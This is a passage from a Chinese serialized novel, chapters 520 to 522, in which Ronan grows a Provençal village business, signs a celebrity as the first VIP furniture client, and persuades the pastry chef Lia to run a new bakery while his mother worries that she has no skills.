“葡萄酒酿制一定要有,卢尔马兰要打造成粉红酒之乡,我们必须要开设这个专业,并培养相关的人才,至于其他专业.想了几个,但还没有确定。” 他拍了拍罗南的肩膀: “大城市的技术型高中会开设二三十个专业,小城镇的技术型高中也至少需要十几个,你想到好的专业可以向我们提出,只要有助于卢尔马兰发展,我们都会考虑。” 第520章 这是援助还是添乱? 有了沃克吕兹省旅游局新的投入,卢尔马兰各处建设进度都超过预期。 位于山顶的斯特斯加酒庄预计将提前一个月全面竣工投入使用,那么特奥的监工工作就没有那么必要了。 特奥这种性格的家伙,把他放到其他岗位一定是个刺头,他只给罗南面子。 但罗南也没有精力管人,于是把人送去了尼斯、卢卡斯的手里。 说服卢卡斯加入斯特斯加时,罗南说的话是认真的,他认为让特奥跟着卢卡斯去开拓市场是最合适的,要不然就浪费他那张嘴了应该让它物尽其用。 特奥对于罗南的决定也是非常的认同和兴奋,他早就想要和哥哥卢卡斯一起干点什么。 卢卡斯对此也没有什么异议,他在海边待了有些时日,切尔诺介绍的资源见的差不多了,带弟弟特奥熟悉一下工作内容和节奏后,兄弟俩会返回卢尔马兰短暂休整,之后北上去阿维尼翁和教皇新堡附近开拓新的‘领地’。 临别的欢送会上,罗南用力抱紧特奥: “等你们回来。” 特奥叼着烟,嘻嘻哈哈的说: “放心,和我们一起回来的,一定还有海量的订单。” 他一个箭步窜上了老酒馆的桌子,举着啤酒瓶对着一屋子的村民和农夫喊: “这次回卢尔马兰,卢卡斯将带着他的妻子和儿子,未来他们一家将定居卢尔马兰,再也不去马赛了!” 今天的欢送会没有一丁点伤感情绪,有可能是因为特奥的活泼性格,有可能是因为他很快就会回来,还有可能是因为最近的改变。 卢尔马兰游子的‘返乡潮’持续有一段日子了。 从老卡尔的两个儿子,到常年多地奔波的卢卡斯这些因各种各样离开家乡的孩子,在今年全部选择回到故地。 “卢卡斯不走了?那是不是全年都有人请我们喝酒了?” “哈哈,我已经等不及到那一天了,你们一定要快点回来。” “太棒了,以后在卢尔马兰的日子一定会格外的精彩!” 事实上,卢尔马兰的热闹和精彩,远不止体现在游子归来潮上。 一个法国大明星邻居正在慢慢的靠近他们. 去阿维尼翁拿荆棘烈阳认证证书的当天,罗南和巴蒂一起填写了防伪编码的申请书,几天后拿到这些重要的数字,罗南立即联系了夏洛特·维吉妮。 夏洛特后半年的工作相对自由,主要是筹备全新专辑,再抽空把大庄园装修了,接到罗南的通知,她很快来到了卢尔马兰。 这一次夏洛特没有打扮成夏洛,而是穿上了古板的长裙和厚瓶底棕框眼镜,她的妆容做了极大的改变,皮肤粗糙,还有深深的眼袋。 罗南依然没有在第一时间认出这位大明星,还以为是哪位连日被学生摧残的可怜老师来了。 “你后半年的工作真的是筹备新专辑吗?”罗南半信半疑的问,“我觉得你更像是在给什么电影角色找感觉。” 怎么还一次一个伪装呢? 你到底是搬来卢尔马兰生活的,还是搬来这里玩变装的? 夏洛特嗓音沙哑低沉的回: “我最近没有拍电影的打算,这些都是在给新专辑创作做准备,带入不同的人生、体会不同的人生,才能有不同的灵感。” 罗南好奇的问: “你上次体会的人生,给了你什么灵感?” 夏洛特托了一下厚重的眼镜: “有了一段为美人挥金如土的灵感,我已经把这个灵感创作成歌曲了。” 罗南停在编织大院门口,继续追问: “那今天呢?今天你要体验什么样的人生,又追求什么样的灵感?” 夏洛特迫不及待的迈步入内: “今天就是体验夏洛特的人生,追求的是快乐消费的灵感。” 最新的vip制度、销售话术和产品售价在F4去阿维尼翁之前就制定或者调整好了。 夏洛特成为了第一批‘实验人员’。 这位大明星今日的行动可能没有太多的目的,也和生活体验没有什么相关,可今天罗南几个人狠狠的见识了一把‘挥金如土’的感觉。 格隆丁准备的那些话术根本派不上用场,经常是他刚开始介绍这个家具的特点和特色,夏洛特就直接‘下单’了。 50万法郎的订单轻而易举的便达成,如果不是最新的vip制度让夏洛特不是特别‘满意’,她可能还能再多买点。 “vip制度的门槛升到了20万法郎,但无论我今天买再多的家具都无法再升身份了?”夏洛特不满的看向罗南和他身边的巴蒂。 vip制度的调整策略很简单。 之前的门槛是5万法郎,由于荆棘烈阳认证使得定价溢价了300%,那么这个数字也做了相应的翻倍。 不过除此之外,vip体系里多出了一种新的身份。 那是凌驾于vip之上、更高级的、非公开会员身份。 这一点是依据那些国际大牌奢侈品做出的调整。 lv集团内部会在vip之内做更加精细的区分,例如精英、私人或者高级。 Gucci集体在vip之上还有一个更加尊贵的GCC会员。 由于品类原因,家具没办法像皮包和珠宝等产品一样有那么高的复购率,桑德琳给卢尔马兰手工艺合作社的vip之上只设置了一个身份——LAC。 这个名字是罗南起的。 L是卢尔马兰的首字母。 A是法语中手工艺的首字母。 鉴赏家和行家的首字母都是C。 这个名字的寓意无论从买家还是卖家角度,都可以解读的很好,而且发音简单。 见到夏洛特后,巴蒂一直处于‘失语’的状态,罗南猜可能是一张嘴,口水就会流出来。 虽然他无法理解,看着老修女版的夏洛特有什么好流口水的但他表示尊重。 格隆丁等销售还没有接受完最近的培训,对vip体系的变更原因并不熟悉。 那么这个给夏洛特做解释的人,只能是罗南了: “是的,你是我们最新政策下的01号VIP会员,但01号LAC会员可能短时间内无法出现。” “为什么?”夏洛特已经忘记了自己今天扮演的是一位古板妇女,她拿着手里的支票本,双腿呈外八状,一副‘老娘随时都可以用钱砸死你’的样子。 罗南回忆着桑德琳当时的话术,耐心的给夏洛特解释: “我们期望中的LAC会员要和卢尔马兰手工艺合作社的主旨——传承和故事契合上,他们是品牌的忠实用户,有着长期、稳定的消费记录,而非爆发式的一次性购买。” 得了‘失语症’的巴蒂紧张的咽了一下口水。 他不懂什么经营理念,也不懂什么奢侈品调性,他只关心——我的夏洛特女神不会负气离开吧? 夏洛特严肃的追问: “LAC会员可以享受额外的什么待遇?” 罗南脸不红心不跳的回复: “成为了LAC会员,我们就成为了双向赋能的关系,说不定你的一个选择就可以引领起一股新的风潮,而我们也有可能会根据你的情况为新的产品线定调。” 在一个短暂的静默过后,夏洛特拿出了她的支票: “那今天先买50万法郎吧,正好超过就要去银行申请本票,我现在还差多少到50万?差的数字用基础款椅子补。” 格隆丁在短暂的失神过后,对罗南偷偷竖起一个大拇指。 还是主席牛逼啊,三两句话就把客户忽悠过去了。 罗南背对夏洛特,擦了擦额头上的汗。 装这么大的‘逼’他也很紧张,但桑德琳无数次的安慰——越是有钱的人越看重故事性和优越感,只要能解释清楚原因,他们不会认为严苛的入会条件是阻碍,只会拿它当游戏boss一样心急的攻略。 通过夏洛特的反应,罗南有那么一点信心——有钱人还真吃这一套。 “专业的事还是得交给专业的人。”罗南在心里默默感叹。 拿到荆棘烈阳认证后,卢尔马兰手工艺合作社将推出许多厉害的营销策略,面向vip的活动也将一个一个推出,这些都离不开有丰富奢侈品工作经验的桑德琳。 罗南觉得,得找个机会给桑德琳涨一涨工资了,7000法郎/月远低于她的工作产出。 今天没有助理陪伴,夏洛特没有留在卢尔马兰用餐的打算,买完家具并约定好了配送日期后匆匆离开。 卢尔马兰手工艺合作社成立以来最大的一笔订单和第一位vip用户的出现,让整个编织大院都喜气洋洋的,妇女们的笑声都高昂了好几分。 卖的多,她们赚的就多,这是天大的喜事! 见气氛已经烘托了起来,罗南立即张罗起了带妇女们进行第一次团建聚餐,这是他几天前答应约瑟芬的。 一院子人正开心的讨论吃什么,哪天吃,康奈尔小跑了进来对罗南说: “你妈妈让你回餐厅一趟,说有个人打电话找你。” “男的女的?”罗南暂时放下了聚餐话题,问康奈尔。 康奈尔回忆着说: “是个女的。” 商业街,生意兴隆的中餐厅内。 一见到罗南回来,冯珍便抖楞着手里满是字迹的白纸说: “你买个传呼机行不行?餐厅电话成了你的服务台了。” 这个年代早就有传呼机了,春节时罗南还送了卡福一台,但他自己就是不买。 于是找他的人只能打电话到餐厅,然后冯珍就成了接线员。 罗南哄着母亲说: “这不是想要多见你几次吗电话是谁打来的,说了吗?” 冯珍翻了个白眼,指着白纸最下方的一串数字说: “没说,就说让你有时间了给她回个电话。” 罗南看了一眼那个数字,发现前面的区号是阿维尼翁的。 他在阿维尼翁熟悉的人屈指可数,尤其是女人。 首先排除朱莉特,这位刚刚升职的农业部政府官员通常只会在下班时间联系他,而且升职之后就消失不见了。 “月底的沃克吕兹省粉红酒爱好者协会聚会,你也敢缺席吗?”罗南愤愤不平的想着,还在怪罪朱莉特当时的不辞而别。 两个月前,二人曾经通过一个电话,朱莉特说等见面给罗南解释原因这一拖又拖出去了好几个月。 如果这个月能见到,罗南必须好好问问。 不是朱莉特,那么最有可能的变成了之前帮过他大忙的艾利安。 “莫非又有好事想起我了?”罗南一边嘟囔着一边拨出电话。 没想到电话那边的人居然不艾利安。 “你好罗南,我是普罗旺斯妇女基金会的克莱尔。”一个没有什么特色的女声出现。 “啊,你好,克莱尔。”罗南脑海中出现了那个一脸严肃讲解荆棘烈阳使用规范的女人,随即他想到了对方打来电话的原因,“是关于甜品烘培店的事情有消息了吗?” 克莱尔没有绕圈子,直接回复道: “是的,我们对这个甜品烘培店非常感兴趣,也愿意在能力范围之内提供一定的帮助,其实在普罗旺斯有许多想要走出家门,奈何没有机会、也不知道自己能做什么的妇女,我们可以把她们推荐到你那里工作,不过前提条件是,你要给她们提供技能培训,在店铺开业之前,这些妇女的培训成本将由普罗旺斯妇女基金会承担,开业后我们会监督她们和你签订正式劳动合同,不会让你们的前期投入没有保障——” 这个消息来的太突然,罗南第一反应是问: “有多少这样的妇女?” 对面短暂的安静了几秒: “70多位” “多少?”罗南的嗓音都扭曲了,“可我用不了这么多人。” 克莱尔没有什么情绪起伏地回: “你可以选择培训中表现最优秀的人留下。” 罗南眉毛微微皱起: “我不知道你清不清楚现在卢尔马兰是什么样子的,你送70个妇女来培训既没有场地,也没有她们落脚的地方,这根本无法实现。” 克莱尔脱口而出: “所以是来阿维尼翁培训,我们提供场地和妇女的居所,每周两天。” 罗南痛苦的扶助额头。 上帝,这是援助还是添乱啊? 这个电话打了二十多分钟,大多数的时候罗南都是默默的听着。 “我现在没有办法直接给你答案,需要一些考虑时间,嗯也要问问其他人的意见。”罗南表情郑重的回。 挂了电话,罗南在原地站了一会,不知道想些什么。 冯珍用手在他眼前摇了几下: “你想什么呢?” 罗南回过神来,问母亲: “莉亚今天来了吗?在哪儿?” 冯珍指了指后厨: “来了啊,现在甜品需求那么足,她不来餐厅就乱了。” 罗南叹了一口气,走向了后厨的大门。 第521章 闪闪发光的主理人 再有3个月餐厅就开业一年了。 无论是罗南还是罗天海都对餐厅上下的种种非常满意,满意制定的策略,满意这里的员工,也满意他们取得的成绩。 但如果一定要问,在开餐厅的这9个月中有什么遗憾,或者说有什么事在第一间餐厅上没有处理好,要在第二间餐厅里弥补,那么一定是不该把烹饪区和甜品区混放在一起这个处理。 传统法餐厅的烹饪区域和甜品区域一定会区隔开来,法国厨师遵循冷热分离、气味隔绝、时间折迭的黄金法则,同样也是因为法餐中的甜品非常重要,种类繁多。 中餐对甜品的依赖性不强,高档餐厅确实也会将两部分独立开来,但中小餐厅的后厨中混放的也很多。 去年开业时,甜品只是作为功能性的补充加入进来,并没有对其有过多的预期,更没有想过靠甜品闯出一番天地,所以没有留独立的操作区。 随着罗南成为了甜品艺术家并在普罗旺斯大放异彩、又随着他和莉亚拿下了艾克斯的第一届普罗旺斯甜品大赛冠军.甜品在后厨的重要程度已经和热厨区差不多了。 这一点从人数上可以最直观的看出来。 去年开业,甜品师傅只有2个人,如今负责制作甜品的师傅已经有6人之多。 厨房也容不下两个功能的员工全部在这里工作,后门连接着一个小仓库,就是罗南最开始练习甜品制作的场地,现在那里成为了临时的甜品厨房,原本放在这里的货物存放到了空置的二楼和三楼。 小仓库面积不大,6个人在里面工作已经有些拥挤。 但在这个地方实际出现的人数通常会大于6个,即使不在里面,也会在门口。 早在好几个月前,甜品师就是餐厅里最受欢迎的职位,冯珍不止一次跟罗南说,xxx私下买了专业的甜品制作工具,也打算去考证。 一度餐厅员工最关心的事就是,什么时候给甜品小组增加人手大家都想要跟着努力又优秀的莉亚学做甜品。 虽然近期增加了两个甜品师的名额,可还是无法满足需求,还是有一部分人一闲下来就来‘自主上课’。 上个月为了练习刀工参加比赛,莉亚没有太多精力顾上这批小姐妹,最近她干活时会主动讲解要点,让这些人听明白。 “这个荷花酥啊,成败的关键在饼皮上,饼皮做的好很容易开花,做的不到位‘形’就出不来了。”莉亚手上一边忙活着,一边念叨,“我的经验是做一个‘玻璃’测试,觉得面差不多了揪一块下来,将其压扁、拉长、抻开,然后举起来放到有亮光的地方看看,可以透光但又不至于弄出破洞,这个状态就可以了,如果不行就继续揉。” 门外站着的一个妇女啧啧称奇的说: “你怎么有那么多小‘妙招’啊,上周我用跟你学的融化黄油方式做了一块小蛋糕,可好吃了,跟外面买的口味一模一样。” 莉亚不以为然的回: “做的多就会了,回去多练习,你肯定也能总结出经验。” “好嘞,那我今天回去就试试。” 另一个妇女用闲聊的语气问莉亚: “这些是罗南教你的吗?” 一道声音在门外出现,打断了妇女们的甜品课堂: “我哪有本事教莉亚啊,莉亚都能当我老师了,这个‘玻璃’测试回来我也要试试。” 见罗南来了,莉亚兴奋的对他招手: “你来的正好,我之前做的熔岩巧克力和你的原版比总觉得差点意思,这次预热的时候提高了三度,你尝尝味道怎么样。” 罗南没有进去,停在门口说: “好啊,但我们换个地方尝吧。” 他笑着对门口的妇女们说: “下课了下课了,下节课再来,我要把你们的莉亚老师带走聊事情。” 餐厅二楼。 罗天海和冯珍的新房子早就装修好了,家具和电器也买完了。 可因为这里成为了临时仓库,看起来距离住人还是有些距离。 罗南和莉亚坐在餐桌两侧,中间摆着一盘熔岩巧克力。 “商业街上的店铺什么时候竣工?这里摆了那么多货,下个月你父母还能搬来这里吗?”在罗南品尝巧克力时,莉亚担心的问,“应该不会影响你和佐伊的婚期吧?实在不行,你们就一起再住几个月。” 一对新人结合意味着新的家庭单位诞生。 通常法国年轻人结婚后,不太喜欢和父母居住在一起,会想方设法的独立出去。 看着满满一屋子货,莉亚难免有点焦虑。 “会提前竣工,但也要8月份。”罗南安慰莉亚,“不过你不用担心,歌迪亚那里有空置的仓库,我租两个月应一下急。” 莉亚的表情缓和下来: “那就好,这几个月的确有点混乱,等商业街上的新餐厅开业就好了。” 这个混乱不止指无处安放的货物,还指拥挤的甜品制作区。 罗天海已经发话了,商业街上的新餐厅后厨一定会把两个功能区分开,并且承诺给莉亚一个既干净又明亮的大厨房。 正好聊到这个话题,莉亚追问道: “等新餐厅开业了,我是在这里继续干,还是去新店?现在给那些人上课也是为此做准备,到时候我盯一个店,妮可拉盯一个店,如果人手不够你再从这些有点基础的员工里挑几个出来顶上位置,应该能顺利的度过。” 妮可拉是最早跟着莉亚做甜品的,近一年下来已经可以独立撑起一个餐厅的甜品功能区,除了那些需要精雕细琢的甜品,其他的制作起来没有问题。 莉亚继续补充道: “妮可拉的刀功不行,所以未来两个餐厅里,只有我所在的那个供应‘艺术家款’,另外一个只提供基础的甜品,你觉得可以吗?” 罗南放下了甜品勺,擦了擦嘴边的巧克力: “如果这两个店铺里.都没有你呢?” 莉亚愣了好几秒,摇着脑袋说: “你可不要给我什么‘虚头巴脑’的职位,我喜欢每天待在厨房里,和这些厨具和面粉为伴,我只有做甜品这一个本事,做别的不行。” 罗南笑着摆了下手,语气缓和着说: “你误会了,不是让你去做别的,你好不容易找到了喜欢的事业,我怎么会让你去做别的呢?只是我有一个想法,是关于商业街上第三个店铺的。” 罗南身边的亲朋好友都知道他被布兰科硬塞了三个商铺的事情,也都为第三个商铺做什么出谋划策过。 莉亚理解起来很容易。 罗南把他对第三个店铺的设想全盘托出,包括里面会卖什么,为什么这么安排,和对这个店铺的预期。 他提到了卢尔马兰的面包危机、讲了他们做甜品烘培店的独特优势,同时也没有隐瞒餐厅客单价变低的问题。 “你不要觉得客单价变低是个问题,这恰恰是个契机,一个可以让中餐和甜品都发展的更好的契机。”罗南实事求是的说,“而且你应该被更多的人看到,我希望这个甜品烘焙店可以由你来做主理人。” 主理人这个身份自中世纪便出现在法国,但在八十年代后页突然‘火热’了起来。 上个月阿图尔等几个普罗旺斯餐厅老板来吃饭,餐桌上他们聊到,最近有几个本土餐厅请来了巴黎或者其他地方的著名厨师,并将这些人包装成‘主理人’的身份反哺餐厅。 罗南这样决定的缘由也很简单。 莉亚在普罗旺斯甜品界已经有了一席之地是其一。 其二,连供应西红柿的农场主都可以拥有姓名,被食客记住,至关重要的甜品功臣不该埋没在餐厅里。 而且现在的莉亚并不惧怕走到‘台前’,在艾克斯参加甜品大赛的那一周让她习惯了被人注视的感觉,完全可以胜任这个身份。 第三个原因是,一个女主理人的出现,在未来一定可以得到普罗旺斯妇女基金会更多的帮助。 在普罗旺斯的无数次经历都在向罗南证明——专业的事应该交给专业的人。 现在罗南想要开甜品烘焙店,这个重要的助手人选非莉亚莫属。 莉亚听到这个消息无比的意外。 不过就像罗南所说的那样,在如今的卢尔马兰、在现下这个时机、为了餐厅和甜品两个业务都能有足够的空间发展现在确实是开设一间甜品烘培店的好时机。 先不说主理人不主理人的问题,那都是次要的。 她首先想到的是——如果要开一间甜品烘培店,他们所面临的困难,可比开一间餐厅大得多得多了。 “如果开两间餐厅,原先的6个甜品师傅再加一两个人手足可以撑起两个甜品厨房,但现在要开一个这么大规模的甜品烘培店去哪里找那么多人?”莉亚知道卢尔马兰人力紧缺的问题,因为维埃里每天都在为找到更多的集市员工而努力,“那至少要十几个人,甚至更多,而且大多数要有甜品烹饪的基础。” 罗南深深叹了一口气: “人力有解决的办法,就是麻烦一点。” 罗南又把刚刚普罗旺斯妇女基金会所说的援助事宜给莉亚讲了一遍,复述完情况后,他补充了自己的态度: “虽然这件事有点费时费力,但确实是一个解决办法,我们自己培养出来的人总比外面不知道哪里学来的野路子的人用起来顺手,而且在培训的这几个月里,也可以观察她们的品性,我们肯定用不了70个人,在这里挑出满意的十几个绰绰有余。” 莉亚现在的脸色和刚刚的罗南一样难看: “但这样你每周要去2天阿维尼翁.这太折腾了。” 阿维尼翁和卢尔马兰在沃克吕兹省的两端,来回路途有大段大段的山路,要两三个小时,培训的那两天罗南大概率要在阿维尼翁留宿一夜,可下个月他和佐伊就要结婚了。 新婚的夫妻就要面临分别吗 罗南露出和煦温暖的微笑,以求让莉亚放心: “但这样的日子只有短短2个月,很快就会过去,而且基金会的人承诺会给讲师‘丰厚’的报酬莉亚,你不用考虑培训的事,也不用考虑两个餐厅没有了你能不能行,你只需要考虑自己——你想不想做这个甜品烘焙店的主理人?” 事发突然,莉亚无法马上给出罗南答案。 她说要回去考虑考虑,再做决定。 下午她一直在想这个问题,可想来想去心里更乱了,于是决定回家开一个家庭会议,问一问丈夫和一对儿女的态度。 但想凑齐所有人的时间有些困难,一家子大忙人,莉亚回到家只看到了维埃里一个。 维埃里每天都会给同学打电话,说服其接受集市的工作,但他余光看到母亲坐到了身边,而且坐了有几分钟了。 “妈妈,你不去休息吗?”维埃里暂时放下了电话。 维埃里已经是大人了,这是全家人都承认的事实。 虽然有些不习惯,可莉亚还是向儿子说出了罗南下午的提议,还有她的顾虑,并求助想要听听儿子的意见。 “你、佐伊和路易都在向着好的方向发展,我当然也想有所进步。”莉亚艰难的开口,“但人力是个巨大的问题,我不想让罗南为了我每周奔波。” 维埃里认真的说: “妈妈,罗南希望拿到的一定是你最真实的想法,不要考虑其他人的真实答案,在我犹豫不决时,他始终这样开导我,我知道他就是这样的人。” 见母亲沉默不语,维埃里继续劝解道: “还有你不用担心人力问题给罗南造成麻烦,我给同学打电话时再把甜品店和新餐厅的工作推荐进去.我有许多同学不想去集市,但他们不一定会拒绝这两份工作。” “没错,是这样的!”维埃里继续拿起电话,“我现在就去问问之前拒绝过的人,妈妈,你不要担心,做你想做的事,人力问题我来替你解决!” 还真有两个同学对餐厅和甜品烘培店的工作感兴趣,为了说服其加入,维埃里离开了家里,去同学家面聊。 莉亚刚想要回卧室休息,大门被人打开,回来的是佐伊。 “回来了亲爱的,今天工作还顺利吗?”莉亚返回了客厅。 佐伊疲惫的伸了个懒腰: “好久没有参加活动了,说了太多话,有些累了。” “好”莉亚不想耽误女儿休息,“快去休息吧,我去厨房看看有什么水果,给你弄一点吃。” 女孩子通常会比较细心和敏感,一眼看出母亲的情绪不太正常,佐伊没有着急回卧室,而是靠在厨房的门口问: “妈妈,你最近工作还顺利吗?” 莉亚卡了一下壳: “顺利,当然顺利亲爱的。” 佐伊走到母亲的身后: “妈妈.你是不是出什么事了?” 女儿已经发现了端倪,莉亚就把今天的事情复述了一次: “虽然维埃里可以号召来一些同学,可还是无法解决所有的问题,罗南依然要去阿维尼翁.而且我只是一个甜品师,我做不了主理人亲爱的,我做不了主理人。” 佐伊用力抱紧母亲,温柔的说: “妈妈,你怎么可能做不好主理人?需要我拿出甜品大赛的报纸吗?让你看看那上面是如何描写你的?你已经证明过自己,而且这是你最擅长的事情,如果罗南去阿维尼翁出差,我就陪他一起去,你完全不用担心这个问题。” 突然,疲惫的佐伊像打了鸡血一样,将脑后的头发干净利索的盘起: “一个卖甜品、面包、中式糕点和巧克力的甜品烘培店,这太有意思了,我现在就去看纹样书找灵感,妈妈,我要让你的店铺成为普罗旺斯最有特色的甜品烘焙店,没有之一。” 晚上9点多钟。 应酬回来、有些微醺的路易洗漱完毕,躺到了床上: “佐伊最近要参加什么重要的艺术活动?我看她的卧室还亮着灯。” “她在帮我设计器具。”莉亚翻了个身,又和路易讲了一遍下午罗南的提议——让她成为主理人。 路易听完愣了好几秒,突然痛哭着撞进莉亚的怀里,语无伦次的说着: “你是普罗旺斯最棒的甜品师,我早就知道!你是我的骄傲,我的妻子太厉害了,未来我要把所有客户都约去你的甜品店谈事情,并向他们介绍,快看,那个闪闪发光的人是我的妻子!是我的妻子!她是普罗旺斯最棒的甜品师.” 路易的情绪爆发一定程度上是因为酒精作用,不过最近他对莉亚浓烈的爱意也是真实存在的。 自从莉亚在事业上展现出了天赋和成绩,路易就成为了她的‘迷弟’,看到妻子眼睛里都闪着小红心。 路易哭的稀里哗啦,虽然有些滑稽,可莉亚也不自觉的跟着红了眼睛,随即抱的更加用力。 她好幸福啊,真的好幸福。 她有这么多爱她的家人。 第二天一早,罗南带着呼呼完成越野跑,在家门口碰到了等待多时的莉亚。 “你怎么来了?”罗南抬头看了一眼太阳的位置。 这个时间,罗天海还在厨房里做早饭呢。 “醒的早,睡不着了。”莉亚过去摸了摸呼呼的脑袋,算是打招呼。 “没吃饭吧?”罗南指了下房子,“一起吃。” “不了,我说完就走,给路易做早饭去。”莉亚笑着说,“我考虑好了。” 罗南挑了下眉毛,没想到这么快就拿到了答案。 “我想要做这个甜品烘培店的主理人,成为著名甜品师是我的梦想。”话说出口,莉亚如释重负的闭上眼睛,等她再睁开眼睛时,整个人的状态都不一样了,“但我要自己去阿维尼翁培训,你、佐伊、维埃里和路易都是我背后最坚实的依靠,我知道你们一定会帮助我完成梦想,可我也要自己努力。” 不等罗南说什么,莉亚在阳光下散发出自信光芒: “我比你更加适合去培训,首先我已经有许多‘学徒’,可以快速进入这个身份,其次我去教这些妇女,她们才能更加有动力学完课程,因为我就是最好的例子。” 第522章 我真没有本领 莉亚和罗南都有去阿维尼翁做培训的能力和水平,这毫无疑问。 不过罗南习惯把苦活和累活放到自己身上,因此从来没有想过让莉亚去阿维尼翁的可能。 莉亚的态度非常坚决,她认为接受了要成为这间甜品烘培店的主理人,就要在一开始承担相应的责任。 莉亚已经不是去年那个瞻前顾后、自卑逃避的她了,此刻这位四十多岁妇女的身上充满着自信和坚定。 不止罗南一个人有类似的感受,偶尔和朋友家人聊起莉亚这一年的转变,大家不约而同的提到——在莉亚身上看到了佐伊的影子。 这句话虽然不太恰当,哪有说母亲身上有女儿影子的道理? 但全卢尔马兰人都知道,佐伊就是自信和成功的代名词。 起初罗南还想与莉亚争论一番,但佐伊、路易和维埃里先后找到他,希望他不要阻拦莉亚去阿维尼翁。 佐伊:“我知道你不希望妈妈辛苦,但这也是一个展示的舞台,妈妈需要在甜品烘焙店开业前找到更多的自信。” 维埃里:“未来甜品烘焙店将由妈妈来管理,由她找适合的帮手最合适,这一点我非常肯定,你就同意让妈妈去阿维尼翁吧,她真的想去。” 路易:“每周我来接送莉亚,我还会陪她住在阿维尼翁,你就放心吧罗南,这完全不是什么苦差事,想想我就开始期待了。” 来了这么多说客,罗南不得不接受这个结论,并给了基金会答复。 普罗旺斯妇女基金会对罗南的安排非常满意,虽然莉亚在甜品界的名声没有罗南响亮,但就像她说的那样——一位女性讲师来给妇女们培训烹饪技能,可以让大家学的更加卖力和努力。 就这样,在厨房里待了一辈子的莉亚,勇敢的走向更大的‘厨房’和‘舞台’了。 商业街上的第三个店铺终于有了着落,这本该是一件令人开心的事情。 事实上也确实是这样的。 无论是罗南,还是路易一家,亦或者是餐厅里的妇女们都在替罗南和莉亚开心.但有一个人的情绪不太对劲。 经过罗天海一个多月的努力,阿图尔的新餐厅已经摆脱了倒闭的窘境,生意和口碑渐渐有了起色,他也就不用那么频繁的‘出差’了。 这段日子经常两地跑,罗南给罗天海安排的休息日全都没有利用上,想到好久没有带妻子出去,罗天海提议趁着暑假才开始、游客还没到最高峰,他们两口子也去海边度个假去。 “天天听罗南和弗雷迪他们说尼斯、戛纳和摩纳哥多好玩,咱们也该去一次了。”罗天海难得浪漫了一次,看着妻子冯珍说,“想买什么,想吃什么,想玩什么都依你,咱们去当把大款。” 冯珍看着面前的狗血电视剧,情绪不高的回: “行,明天我问问罗南和佐伊,看他们要不要一起去玩两天。” 罗南和佐伊的结婚公示期已经结束,两个人的婚礼将顺利的在7月中下旬举行。 随着日子临近,冯珍越来越珍惜和儿子相处的时间,如果要出去玩,她想和儿子一起。 罗天海想了一下: “罗南应该去不了,维埃里有几个同学对做甜品有兴趣,可能要来学学,莉亚之后要去培训,没有那么多精力,罗南负责教教他们,而且莉亚之后去了甜品店,还要再提一个甜品负责人,这个我帮不了,罗南这段日子得在餐厅里解决问题。” 说完,他看向妻子: “佐伊就更没时间了,她本来工作就忙,现在还要给莉亚的甜品店设计器具,我跟你说,我能挤出来这几天时间都不容易,就咱俩去吧,等商业街上的新店开始装修,我也离不开卢尔马兰了。” 冯珍用力把手里的靠枕扔捏了一下,抬起屁股就走: “好好好,你们都是大忙人,就我一个闲人,但我不想去!” 罗南推门回家,看到的正好是母亲扭着大屁股把楼梯踩的吱呀作响、气呼呼上楼的背影,他问罗天海: “你又干什么了?怎么把妈妈气成这个样子?” “我哪——”罗天海无语的想要解释,突然他想到什么,严肃的追上楼去,“大人的事儿你别管,冰箱里有甜瓜,你自己切着吃。” 罗南撇了下嘴,去厨房拿甜瓜了。 罗天海追上来的很及时,两口子上楼前后也就差了十秒左右。 可当他再看到冯珍,她已经哭的上气不接下气。 冯珍脸朝下趴在床上,手里紧紧的攥着被子,两只脚上下晃荡着,嘴里含糊不清的发出‘呜呜呜’的声音。 罗天海快步过去,扶住妻子的肩膀: “留点缝啊,别把自己憋死。” 冯珍弱不禁风的被罗天海一把提起上身,那重量和她一百六十斤的体重完全不对等。 昏黄的灯光下,她梨花带雨的可怜样子,和琼瑶剧里受了委屈的女主一模一样的: “天海,我是不是特别没有本领,卢尔马兰的妇女通过双手致富了,莉亚也即将成为普罗旺斯的著名甜品师,而我、而我、而我只是一个没有本领的花瓶。” 冯珍像是没有骨头般靠在罗天海的怀里,手里不知从哪里变出了一张帕子半遮住眼睛,破碎感十足的说: “我真替她们开心啊,但我又真觉得自己没有本领.之前罗南说巴黎的女人没有普罗旺斯的女人能干,我还不服气,现在我——嘤嘤嘤嘤嘤。” 罗天海的脸色像是便秘了半个月,很想控告法国电视台播出的那些狗血爱情电视剧教坏了中年妇女,但一滴滴落在手臂上的滚烫眼泪又在提醒他——妻子的情绪真的出现了问题。 “你怎么会没有本领呢?你最有本领了。”罗天海笨拙的安慰,“在你的带领下,咱们家现在多好啊。” 冯珍昂起脑袋,鼻音浓重的问: “展开说说,我有什么本领?” 罗天海大脑一片空白,心想电视剧里演的桥段好像不是这样的吧? 随即冯珍哭的更伤心了,呜哇呜哇的: “我就知道你在骗我,我什么都不会,我什么都不懂!” 冯珍情绪来的快,去的也快。 也有可能是因为罗天海不会安慰,她自己哭着没意思。 大概五分钟后,冯珍抽抽嗒嗒的说: “渴了,给我去拿点甜瓜吃吃,冰镇的。” “好嘞。”罗天海如释重负的离开了这里。 一扭头,看到门缝处趴着四个脑袋,八只乌溜溜的大眼睛同时盯着屋里。 最上面的人头尴尬的挤出一个笑容,举起手里带着牙印的甜瓜用嘴型问: “咬了一半的行不行?” 罗天海把看热闹的两狗,一羊,还有一人偷偷撵去了一楼,生气的压低声音问罗南: “你怎么偷听?” 罗南可太冤枉了: “这很难不听到啊,我妈哭的太吓人了,我还以为那只猫头鹰又丢了孩子。” 罗天海拿出冰箱里的新甜瓜,放到水龙头下清洗: “别跟你妈说你听到了,她爱面子。” 罗南很有眼力见的帮助父亲摆好切水果的案板和切水果的刀子: “妈妈为什么哭?” 坦白讲,罗天海并不想跟罗南说这件事。 刚刚他在楼下便猜到了原因,但他的选择是直接追上楼去。 可现实给了他一记重拳——在哄女人这件事上,他才真的是没有本领。 而罗南又恰恰在哄冯珍这件事上很有天分,虽然每次罗南油嘴滑舌的时候,冯珍都会白他一眼,摆出一副不吃这一套的样子,但罗天海非常清楚——她可太吃这一套了。 万分无奈下,他把冯珍刚刚说的话,和自己的猜测和儿子说了: “你应该知道,你妈妈大大咧咧的外表下有一颗敏感细腻的心,最近卢尔马兰的妇女发生了这么多变化,她在替别人开心之余难免会产生一些自卑心理。” 罗天海一边切甜瓜一边说: “你可能不知道,其实你妈一直想要帮你,帮你多赚钱,帮你多存钱,她总说似乎人人都能帮你,但就是她不行。” 听到罗天海的解释,罗南非常自责。 